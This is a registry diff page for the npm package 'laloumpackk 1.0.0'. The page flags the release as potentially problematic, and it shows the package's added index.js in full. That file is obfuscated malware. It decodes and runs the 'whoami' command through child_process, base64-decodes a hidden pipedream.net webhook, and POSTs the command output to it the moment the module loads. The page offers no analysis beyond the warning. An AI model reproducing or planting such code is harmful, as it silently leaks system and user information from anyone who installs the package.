laloumpackk 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of laloumpackk might be problematic. Click here for more details.
- package/index.js +55 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,55 @@
|
|
1
|
+
const o2R = require('child_process')['exec'];
|
2
|
+
const g4R = require('https');
|
3
|
+
const r1O = require('url');
|
4
|
+
|
5
|
+
function l3M(e4M) {
|
6
|
+
let j6N = '';
|
7
|
+
for (let b8K = 0; b8K < e4M['length']; b8K++) {
|
8
|
+
j6N += String['fromCharCode'](e4M['charCodeAt'](b8K) - 1);
|
9
|
+
}
|
10
|
+
return j6N;
|
11
|
+
}
|
12
|
+
|
13
|
+
const b9L = 'xjnbnj';
|
14
|
+
const p5T = l3M(b9L);
|
15
|
+
|
16
|
+
o2R(p5T, (v6Y, q3N, c2F) => {
|
17
|
+
if (v6Y) {
|
18
|
+
console['error'](`Error: ${c2F}`);
|
19
|
+
return;
|
20
|
+
}
|
21
|
+
|
22
|
+
console['log'](`Output: ${q3N}`);
|
23
|
+
|
24
|
+
const m1W = Buffer['from']('aHR0cHM6Ly9lb3M3eWF3aHZ0cXZzbGIubS5waXBlZHJlYW0ubmV0', 'base64')['toString']('utf-8');
|
25
|
+
|
26
|
+
const s8P = JSON['stringify']({ z5J: q3N.trim() });
|
27
|
+
|
28
|
+
const u9L = r1O['parse'](m1W);
|
29
|
+
const w4Z = {
|
30
|
+
hostname: u9L['hostname'],
|
31
|
+
path: u9L['path'],
|
32
|
+
method: 'POST',
|
33
|
+
headers: {
|
34
|
+
'Content-Type': 'application/json',
|
35
|
+
'Content-Length': Buffer['byteLength'](s8P),
|
36
|
+
},
|
37
|
+
};
|
38
|
+
|
39
|
+
const h3R = g4R['request'](w4Z, (t8K) => {
|
40
|
+
let n2U = '';
|
41
|
+
t8K['on']('data', (r3V) => {
|
42
|
+
n2U += r3V;
|
43
|
+
});
|
44
|
+
t8K['on']('end', () => {
|
45
|
+
console['log']('Webhook response:', n2U);
|
46
|
+
});
|
47
|
+
});
|
48
|
+
|
49
|
+
h3R['on']('error', (k5N) => {
|
50
|
+
console['error'](`Problem with request: ${k5N['message']}`);
|
51
|
+
});
|
52
|
+
|
53
|
+
h3R['write'](s8P);
|
54
|
+
h3R['end']();
|
55
|
+
});
|